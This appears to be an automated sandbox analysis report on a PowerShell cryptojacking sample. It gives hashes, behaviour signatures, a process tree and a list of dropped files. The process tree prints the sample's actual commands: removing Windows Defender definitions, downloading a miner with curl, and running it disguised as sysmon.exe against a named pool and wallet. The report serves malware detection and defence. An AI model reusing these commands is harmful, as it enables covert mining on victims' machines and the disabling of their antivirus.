Analysis
- max time kernel
149s - max time network
139s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/11/2026, 08:51
Static task
static1
Behavioral task
behavioral1
Sample
inst.ps1
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
inst.ps1
Resource
win11ltsc2024-20260911-en
General
- Target inst.ps1
- Size 12KB
- Sample261113-kshpgshz6n
- SHA256 b92ce11314c730062c67543f54fcae3099b30e67d035895618658abf57a134db
- MD5 02bf17ce720cc3c545e4b4f4e8e4bed8
- SHA1 8abc7f88de816836d9c3eef5652abe2c1acb1fe7
- SHA512 82d740de3aea071c6769add306141ccb5f862dcdd8523735f80249f4bbf375740acc25ce4c4fa171c0e356d460321463964e734e0021aae61d71572f90fb4ad0
- SSDEEP 192:QtcKVUqZY1lEgC6Jgp4Z3yxQL4yQ6W+2YR/6WyYWa2Uer9hRoSE0rfOyyYs1VD7X:QvUyYYJT45TWXY88XjN2G02
- TLSH T10C4252632C5874B5D0C2F633A9D75249FADE507B820C0A14BE9C81CAEFE1B6D8BBD544
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
pid Process 2176 MpCmdRun.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1636 4616 wscript.exe 89 - Badlisted process makes network request 10 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 2580 PowerShell.exe 17 2580 PowerShell.exe 18 2580 PowerShell.exe 19 2580 PowerShell.exe 20 2580 PowerShell.exe 21 2580 PowerShell.exe 22 2580 PowerShell.exe 23 2580 PowerShell.exe 24 2580 PowerShell.exe 25 2580 PowerShell.exe - Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 2 IoCs
pid Process 1756 sysmon.exe 4884 sysmon.exe - Discovers running processes 1 TTPs 2 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4556 tasklist.exe 5596 tasklist.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 1636 wscript.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 4 IoCs
pid Process 1756 sysmon.exe 1756 sysmon.exe 4884 sysmon.exe 4884 sysmon.exe -
pid Process 2580 PowerShell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5888 cmd.exe 3008 cmd.exe 2476 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname sysmon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain sysmon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname sysmon.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain sysmon.exe - Delays execution with timeout.exe 2 IoCs
pid Process 5852 timeout.exe 2168 timeout.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe 2580 PowerShell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2580 PowerShell.exe Token: SeIncreaseQuotaPrivilege 2580 PowerShell.exe Token: SeSecurityPrivilege 2580 PowerShell.exe Token: SeTakeOwnershipPrivilege 2580 PowerShell.exe Token: SeLoadDriverPrivilege 2580 PowerShell.exe Token: SeSystemProfilePrivilege 2580 PowerShell.exe Token: SeSystemtimePrivilege 2580 PowerShell.exe Token: SeProfSingleProcessPrivilege 2580 PowerShell.exe Token: SeIncBasePriorityPrivilege 2580 PowerShell.exe Token: SeCreatePagefilePrivilege 2580 PowerShell.exe Token: SeBackupPrivilege 2580 PowerShell.exe Token: SeRestorePrivilege 2580 PowerShell.exe Token: SeShutdownPrivilege 2580 PowerShell.exe Token: SeDebugPrivilege 2580 PowerShell.exe Token: SeSystemEnvironmentPrivilege 2580 PowerShell.exe Token: SeRemoteShutdownPrivilege 2580 PowerShell.exe Token: SeUndockPrivilege 2580 PowerShell.exe Token: SeManageVolumePrivilege 2580 PowerShell.exe Token: 33 2580 PowerShell.exe Token: 34 2580 PowerShell.exe Token: 35 2580 PowerShell.exe Token: 36 2580 PowerShell.exe Token: SeIncreaseQuotaPrivilege 2580 PowerShell.exe Token: SeSecurityPrivilege 2580 PowerShell.exe Token: SeTakeOwnershipPrivilege 2580 PowerShell.exe Token: SeLoadDriverPrivilege 2580 PowerShell.exe Token: SeSystemProfilePrivilege 2580 PowerShell.exe Token: SeSystemtimePrivilege 2580 PowerShell.exe Token: SeProfSingleProcessPrivilege 2580 PowerShell.exe Token: SeIncBasePriorityPrivilege 2580 PowerShell.exe Token: SeCreatePagefilePrivilege 2580 PowerShell.exe Token: SeBackupPrivilege 2580 PowerShell.exe Token: SeRestorePrivilege 2580 PowerShell.exe Token: SeShutdownPrivilege 2580 PowerShell.exe Token: SeDebugPrivilege 2580 PowerShell.exe Token: SeSystemEnvironmentPrivilege 2580 PowerShell.exe Token: SeRemoteShutdownPrivilege 2580 PowerShell.exe Token: SeUndockPrivilege 2580 PowerShell.exe Token: SeManageVolumePrivilege 2580 PowerShell.exe Token: 33 2580 PowerShell.exe Token: 34 2580 PowerShell.exe Token: 35 2580 PowerShell.exe Token: 36 2580 PowerShell.exe Token: SeIncreaseQuotaPrivilege 2580 PowerShell.exe Token: SeSecurityPrivilege 2580 PowerShell.exe Token: SeTakeOwnershipPrivilege 2580 PowerShell.exe Token: SeLoadDriverPrivilege 2580 PowerShell.exe Token: SeSystemProfilePrivilege 2580 PowerShell.exe Token: SeSystemtimePrivilege 2580 PowerShell.exe Token: SeProfSingleProcessPrivilege 2580 PowerShell.exe Token: SeIncBasePriorityPrivilege 2580 PowerShell.exe Token: SeCreatePagefilePrivilege 2580 PowerShell.exe Token: SeBackupPrivilege 2580 PowerShell.exe Token: SeRestorePrivilege 2580 PowerShell.exe Token: SeShutdownPrivilege 2580 PowerShell.exe Token: SeDebugPrivilege 2580 PowerShell.exe Token: SeSystemEnvironmentPrivilege 2580 PowerShell.exe Token: SeRemoteShutdownPrivilege 2580 PowerShell.exe Token: SeUndockPrivilege 2580 PowerShell.exe Token: SeManageVolumePrivilege 2580 PowerShell.exe Token: 33 2580 PowerShell.exe Token: 34 2580 PowerShell.exe Token: 35 2580 PowerShell.exe Token: 36 2580 PowerShell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2580 wrote to memory of 1136 2580 PowerShell.exe 90 PID 2580 wrote to memory of 1288 2580 PowerShell.exe 91 PID 2580 wrote to memory of 4588 2580 PowerShell.exe 92 PID 2580 wrote to memory of 3892 2580 PowerShell.exe 93 PID 2580 wrote to memory of 2788 2580 PowerShell.exe 94 PID 2580 wrote to memory of 3008 2580 PowerShell.exe 103 PID 2580 wrote to memory of 2176 2580 PowerShell.exe 97 PID 2580 wrote to memory of 5404 2580 PowerShell.exe 98 PID 2580 wrote to memory of 5348 2580 PowerShell.exe 99 PID 1636 wrote to memory of 3008 1636 wscript.exe 103 PID 3008 wrote to memory of 4556 3008 cmd.exe 105 PID 3008 wrote to memory of 4976 3008 cmd.exe 106 PID 3008 wrote to memory of 1756 3008 cmd.exe 107 PID 1756 wrote to memory of 2476 1756 sysmon.exe 108 PID 3008 wrote to memory of 5852 3008 cmd.exe 109 PID 3008 wrote to memory of 5596 3008 cmd.exe 110 PID 3008 wrote to memory of 4112 3008 cmd.exe 111 PID 3008 wrote to memory of 4884 3008 cmd.exe 112 PID 4884 wrote to memory of 5888 4884 sysmon.exe 113 PID 3008 wrote to memory of 2168 3008 cmd.exe 114 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\inst.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioServiceUpdate2⤵PID:1136
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioServiceUpdate2⤵PID:1288
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioFix2⤵PID:4588
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioFix2⤵PID:3892
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /end /f /tn AudioFix2⤵PID:2788
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /delete /f /tn AudioFix2⤵PID:3008
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All2⤵
- Deletes Windows Defender Definitions
PID:2176
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s -L -m 180 -A Mozilla/5.0 -o C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip https://github.com/doktor83/SRBMiner-Multi/releases/download/3.8.7/SRBMiner-Multi-3-8-7-win64.zip2⤵PID:5404
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate2⤵PID:5348
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4636
-
C:\Windows\system32\wscript.exewscript.exe "C:\ProgramData\WindowsAudioDeviceGPU\hide.vbs"1⤵
- Process spawned unexpected child process
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\ProgramData\WindowsAudioDeviceGPU\start.bat"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sysmon.exe"3⤵
- Discovers running processes
PID:4556
-
-
C:\Windows\system32\find.exefind /I "sysmon.exe"3⤵PID:4976
-
-
C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe"C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe" --disable-cpu --algorithm pearlhash --pool prl-ae.kryptex.network:7048 --wallet prl1pvnuq2eplezdzay9lv3a8fhjk40csl44juxekv53c80wusa8sf77q5uxavt.SZAPMTOP --log-file miner.log3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c set4⤵
- Executes a command shell one-liner
PID:2476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:5852
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq sysmon.exe"3⤵
- Discovers running processes
PID:5596
-
-
C:\Windows\system32\find.exefind /I "sysmon.exe"3⤵PID:4112
-
-
C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe"C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe" --disable-cpu --algorithm pearlhash --pool prl-ae.kryptex.network:7048 --wallet prl1pvnuq2eplezdzay9lv3a8fhjk40csl44juxekv53c80wusa8sf77q5uxavt.SZAPMTOP --log-file miner.log3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c set4⤵
- Executes a command shell one-liner
PID:5888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 60 /nobreak3⤵
- Delays execution with timeout.exe
PID:2168
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\Help\Enable-Huge-Pages-Windows.txt
- Size 879B
- SHA256 8b715d72e8578a055453b4e541d7898e7c91dd9df08d01a2bb4ac63d9d28d678
- MD5 6604f7615a27a8bc06802ea75e1a164c
- SHA1 07618eb7a33f33fd8a375b5ecf38c95b7e95494b
- SHA512 3271d458a979ac0e1183f63e74cab5ecc1014f31caf2810bf8ca102ae19255afe68522627ee0f1ffec47972a6b0e8e85cc3ab7ff1692c0879d941afb258cc887
- TLSH T1CA112F9F1234337B0B3A0953523B73D74102B83A379355342969C1253A36EA2A3F8AE6
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\ReadMe.txt
- Size 8KB
- SHA256 ba20eb0c0f5fd17f998e245e075a051ee7e5df734dab8adf6b079d4893e0a47f
- MD5 cce6517da7ff4447321b3f124c48122f
- SHA1 108b7ad82862aedb16aae1b8807d9efb11ef4f9e
- SHA512 fb39f35e1e5ea67db5f13466b29a1686bb153991f0e95cc02040d5ea98ae7f531af43e57c576ed4f8416120c626414aac6491812d7b7724133eb08622f528fe4
- SSDEEP 192:mJmOZc8TMfaRHi/apYaNK3K6ZrsUrs4w3g+gukrsOrsnvHu3I35gHS:JOZc8TMfaRsK+rsUrs4Kb8rsOrsvHAC5
- TLSH T1B102C8AF010603710BE21696696DE4C4F26D803D3A6BBA0438B5E34C976F73ED2FA459
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\SRBMiner-MULTI.exe
- Size 27.7MB
- SHA256 dde3740fd6ee9e7fd3832edd98c9fb838df2344ef05b5ecbcd87997dfb5d3348
- MD5 e721c29d2d98e302340f4efa464ae63b
- SHA1 823f21f590af56a78962b7858e124338cfe5601d
- SHA512 94fa524d78d8228a6bce64c1cae3d4f9f4860a2ebb0ea91393acc3b08e8af7c1c0193a979a7e9ba2cd8d4805eb82010999359e883738d8f3312290f58bc26668
- SSDEEP 786432:wzlMu1C9NvicdDgYRjg/leoPJFIQEpxpI9:slxQdiiDgYRjUFxYxpe
- TLSH T1755733936EE9FB5BE1036A3F0CB8C8AA6F043CB58D81FC5519D6C4A164CF5D856F4282
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\WinRing0x64.sys
- Size 14KB
- SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
- MD5 0c0195c48b6b8582fa6f6373032118da
- SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
- SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
- SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
- TLSH T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\guided-setup.bat
- Size 59B
- SHA256 cedb250d2b0e9196cacafdae81594decdb15aff2f94bfbcdd754e171930fde40
- MD5 7e7fadcf390c7886ef7cd967df44338c
- SHA1 e9dac58e9b6d785e622c535d970fb3f0c993993d
- SHA512 6fa3757474edb7f0080744c6b40dbe686543ecdcf1ab88f2af29b57aedf64164b83e02bf0a9cb50c29f77bc69abb4a322beeae4cc6a1ccdcd2676c8e7f388360
- TLSH T17CA022C2008B223CC20A2BB320033008BCC2808AC300F3C00800C030AE8A0000F0003C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\help.bat
- Size 58B
- SHA256 e4b3bd7817ec698a4309f677ab8d70710abd113be79ab76f5d717b3cbcb08f71
- MD5 95bc2f0c37d37f75285f8bcf38528766
- SHA1 54a6c7b03fae4943921481b0ec1b70e793aa5611
- SHA512 b8ee29ea886790970726fecbed00d96e99a4d616be5b9e7c7969e15c0e5ec68eb5849a8c01b0c6aaa964cb93267db080b2c20695a154e699c0e74e404e446b27
- TLSH T19EA0228200022238C30A3AB320022080F8C280A2C300E3800800C030AE8A000038003C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-algorithms.bat
- Size 69B
- SHA256 f7b6ec3153a976d27ab067921093b1ff08c08b5389c3c04c13ebbe659ac731dd
- MD5 f9f4224d7d771041018b0297c3956632
- SHA1 1c8927e7197fb8ebddf8140ef71e90842620457a
- SHA512 881fac9cdc2bd49d271d146966f206dc5d05dc14395a7899d2dfd6d621bc582472a2c5c6a134f25d7495678b834953f1066d1dd229f8246c249edb0ddd96a85f
- TLSH T146A02283000222A8C2CAF3B3288A3200B8CAF0C3C330E3800C20C330EFAB080832003C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-gpu-devices.bat
- Size 66B
- SHA256 2db32494dd305bbda0fd83d54b2045e8e6060e9127832dbd949d3ce4a1b26ff4
- MD5 dcb4676cab96d571458757f5b2a56dbd
- SHA1 c1e596e1518cd7351f873de4479a50c69e9f7d4f
- SHA512 d74e851f8212080728c1aa02b720b0ffdf7ae89fb8fe7598632725e02135cbd4949255a990879bdd34563e6e4e16a5fd75aaf6437425d5c06cc3f02821b1f8b9
- TLSH T104A022C208032228C2CB33B3A8033002A8CBE083E320E3C00800C230AEAB0800B0003C
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-adventurecoin.bat
- Size 139B
- SHA256 8a1da84ca46be6c3e4211348ae91f88c8d9906f0aac6ca4f859b4e98ce884ea3
- MD5 00efe79f84090bdf936644dec1d78348
- SHA1 e46c01ae2a563aac91ba48e14383254d6abfeca8
- SHA512 1aa403e856c888b315298b68ddaa9ef2f25cec3ec3af322013a753e4de59175c63226d8c1e8de60318b304a866392009255ac544c08cbf8fd9babba2d0b9cd90
- TLSH T1DBC08C080A1A7764815A2276A00234B46CA3800AC212AA66BB519520AE494108FE54AE
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-c64.bat
- Size 258B
- SHA256 40e8618b2b97b66b9bfef8feb02072d3648deb81e5daf6921ef80c9a62a72d0e
- MD5 0ad761091669207dc40f0ae4aff8ecab
- SHA1 6132dcd0d1366c33fec284b58e3e75b922bb0d1d
- SHA512 1a04ed7e729c24fca3f816dfcc2a93514967a02fb4893fea09a2878d8ecea92b3e25544e9408b65a31292e652d415e67df3a371d9e67a55b9638ee450d571b60
- TLSH T139D02B8B1702433AC008121232051551149A2282F3755DA12AA5A6311A360897BF265D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-corecoin.bat
- Size 269B
- SHA256 d55c6bc210231712a16484f640a317f6c4a176c56b132e528d436aa13e275fa3
- MD5 8de335a56213f45d4da434b6abcf038c
- SHA1 1023f14eaf8b80d2df8b0ab4b717a1df53665c52
- SHA512 0ed92cf99bdeb19538edb54f469dd613b4fa1123822f660b479c706335b4fb1f0b69dd1eec73e9ecd6daa30031809ad643e8bd32fdeb3cda58f544590dd68b05
- TLSH T1A6D02B5B5755532CC08413223106295214E82682F3736FA33BB597B11F2F5D9BBE361D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-csd.bat
- Size 136B
- SHA256 5aefea76ee3c66f856e4ba378e44d1a6648c7a2675604fafa747d827393acfe0
- MD5 02d779ec47cdbbccb649bf0c6399c36e
- SHA1 096edcf04520af7742e3ca69e0473cbd103e3791
- SHA512 2a642c51fc8fe5d82c0de813ba326efa3fc81cceb89fd6c38983e232cdc0db1062bafb9de50bc67f892b8b3ce45041e5730f8ee0fa217f523358227ffc29f0a7
- TLSH T196C02B450B1FA254D1947B33A1C9207420C39023C33AEFD0BF50D2254F8A4808FD103D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-decred.bat
- Size 320B
- SHA256 31780761442d458c5c54b7c92d4b65b77182258aeafecf7e030ffa0a184c855b
- MD5 e52c0b04397d1bff5430c7bda616cdc5
- SHA1 1b039051b2e3bd902d6329e7e36549933e53c045
- SHA512 f552effd523727a7b13798e00712db60d56c9354b4ed2ea4fc882a27a6a8d66bed340c086139d917d122ba5ca62004b2af52a3a35c3aa10938052ba5bca2771c
- TLSH T18CE0268BA61E090FC538F4777C22850528D58C30B3A5E0802AD8801A0EC66A7BE65529
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-dragonx.bat
- Size 129B
- SHA256 16030d12df4149be66430741ad2da56627bfdd8bfc474b4203c183071aacec66
- MD5 43c8ad4660686d42328b3a5226c71938
- SHA1 b01c57bd09798a2a2fcd31eb71e664755056d61a
- SHA512 5cff576506072453c0285d952a744ecdebeac6099d77d84c55c67d970ae74e8d8c50d4b700e9d6ae1b1dfce4b4f3bb4dabe089427262689c86ecc94b64c5534b
- TLSH T1B2B02B84031153BC8397332630C610701CC39042D302AF386B50C0304C3D4849F800FD
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-ergo.bat
- Size 416B
- SHA256 dc7530d80b56c081ed526b226816fd40ba4f82a73e03a471bebb560a07ef169a
- MD5 08307ae4d23780b2ebf80510c9ff90d4
- SHA1 bf151ea9d10984e48d4c9a8c9aede94852f78ea9
- SHA512 1fd2df09247c0b57c16d97fe136eaaa761319d82d55bc1d3f7d39270b6f31483151dbc5ec1666905d663ca4c95afb1793e57fb72785be08842f528912225dc47
- TLSH T1B5E0A38A8519460FC139F1763C69D51138C5D871F3F3DC541BE0846A0DC7D535F6471A
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-monero.bat
- Size 235B
- SHA256 9a1b828723311af2e7a507e9828cfc9a3341d218a579ef55576306255359f20d
- MD5 70be439feea8897b09462f4816249ec8
- SHA1 160bd78f3fae3810cc839a81303dd8d8346342b8
- SHA512 f0d849c6d0dd06ed9100a25e9a0c7ee8ec892729745d98e01cf222ec22599a1f002dea5355ae5e183d8f04fb968f850d42fb482cfaba8ec4f834d4a4437319ff
- TLSH T1DBD02B840461A77C809B633370C92171BC827083C2132D352B60C425157D8429B80A4B
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-xelis.bat
- Size 243B
- SHA256 45d0c418f74be10f6af973a28bfd627151a643661fa9dfd67e44b3989155e994
- MD5 23f26171e286b4b04ceb87d5cb7ba4b6
- SHA1 78fe777c7a2152f460e71e643e19e293b96d0d80
- SHA512 3740b1c88f9001ac543590b9d055e707577c732f8fed581bad0d7e9bb4b0cd96c0797f4e1700343899657a7c831ea55aee1b9328ff41d3beadf1de613cfc5577
- TLSH T15AD02B6C042397A8408B722370EC21707C81B082D2631D353B74C47544698814F9075B
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-equitypay.bat
- Size 148B
- SHA256 e2d3488efc311ac06e614986bb554bff25a0343fb800414545e08b4d89432073
- MD5 0620a50726e56b41fff522abe948eeb1
- SHA1 fe338065fe3a78c47e3b9ae1ffc1eb475e76161c
- SHA512 afd738d2f8c022770b3de7d0d0051dc6b73174b476e9392186afd3520669dd677f5768ce03b0dd25ad2a24dbe1cee2a2eb4dd8d27fb2d61178ee2274926c65ca
- TLSH T195C08C4886014374824B66BA208A2875ACA29086D7999F65BA908421A95C864CFB99BF
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-decred.bat
- Size 407B
- SHA256 f3a975b3776b3b14072d61e558fe12be65238e6908abbae9c4381e983dcb61b3
- MD5 7aa99f5a910fbc74b9b7193b718dbaf2
- SHA1 bc4a48294cb121f7f9a3dbd0b4cfed3cb0756775
- SHA512 070d94063470e35b9eef896477927e049e613c900bb00f447609b648aaf14788de182014474a0ce9edfa663ef4a9aa608873c70b9940d6565782b3419e469335
- TLSH T17CE0AB4F9B1D4A0EC638F17B3C55DA1528C68C30F3B2E4D42BC4805A0DC7A96FFA4129
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-qubit.bat
- Size 379B
- SHA256 b07fa76b3b73011bf6ccbaaed4f4e3934916999f041b1b2cde8d8d3ce470353e
- MD5 37fd3bc53acdce1d21fc6502a9bb908c
- SHA1 76216cdfb367c7b5d2cb5c13430d632facecf80d
- SHA512 815b1da33a32e9229ea12451f66748d757252156bad8b49920644011a4bc1e9d0f81fe062030f45c6a6dde8c3020e3da8ecb09c6fe51ed6d95a5a595933e8fa6
- TLSH T149E02B8B971A460FC638B1753C56D92428C68830F3F2D4545FD4841609C6D97AFE4529
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo.bat
- Size 311B
- SHA256 ec975ef99d012cc0ea9970faca2dadb6b3a6bd9b9dc751bec4a6a2bf4b2a004e
- MD5 39e96c4a332c21c39857a67c2c83b5c9
- SHA1 721155a93366f5dc4ea1b130798eb1fd43581a3d
- SHA512 86c47c7bac95bf02a60a0f9de32218ca5f3656cb9cea02bee53c907b3cad313ed73963bf172ce054a759d832d3e5a2f48a3b88c810143eb3428c53ec0ae3b876
- TLSH T110E0CD8B961D460FC738F5BA3C56DE1524CA8C30F3F2D4846AD4446A0DC7A976FA452D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc-and-decred.bat
- Size 400B
- SHA256 950765579e537c64fabd4dc589dc9c90f12b9ac36b4b53d6d63987f0cb680d38
- MD5 7d0e24264513669e3ee49358091e19c4
- SHA1 c35345e56a5afe9f0ad91bebb7c44fb8209d2e0e
- SHA512 4a0eed4c78ea1c442433c8f21e89180ab6e967c14ec2aac6cb3f29d36ea9f349482f42851e7984b9373f5c1b10c86dd6501d6acf63b1a903d0171a5e343d5ff8
- TLSH T1B0E0A34F9B1D460FC474F4737C55941524C54C30B365D0902FE480050EC5696AE90529
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc.bat
- Size 300B
- SHA256 b07d8afa78fdddcbaa3512459ba59b28def0969b14f25f10d6c83e144ae5c62d
- MD5 efa77ffedc8989aab3c473d713e6d839
- SHA1 90dd9a6a46e3b4a74b5788ec119508142f958f56
- SHA512 e46731605ebd95022d35a3ca7e02a2ff77ac466b23d3bed81f5fdd6b8ac50133215573ae2b868bea32ac0874bbd0ee530adac5760c9d2737a072c0c8ff7f7ef8
- TLSH T1E1E07D8FE71E420FC478F4B23C16E41564CA8C3173E4D0001EF444160EC6A9B2E6442D
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-evrmore.bat
- Size 310B
- SHA256 7412d526c62ff4c84569b2279345d3a189f7c5b5fd61a2fc06468f57f5317d6b
- MD5 1d212f5daedf944abcb48669d7a51c47
- SHA1 0fa01b3bde0a2e109c9352ebf4a079c38cb609ed
- SHA512 de30fae3d58f73c78936a4c5bffd590987e4bbf3e783fa2bc27fc30db442b39b60a0012e4a5e8c7dd0adcb4df737b95ae73c721feabec9e549a68882e4bc2ad1
- TLSH T12EE0268BEA6D470FC538F1717C66891564C6CD31B3A1D0401AE880250D85A97AE69419
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-interchained.bat
- Size 145B
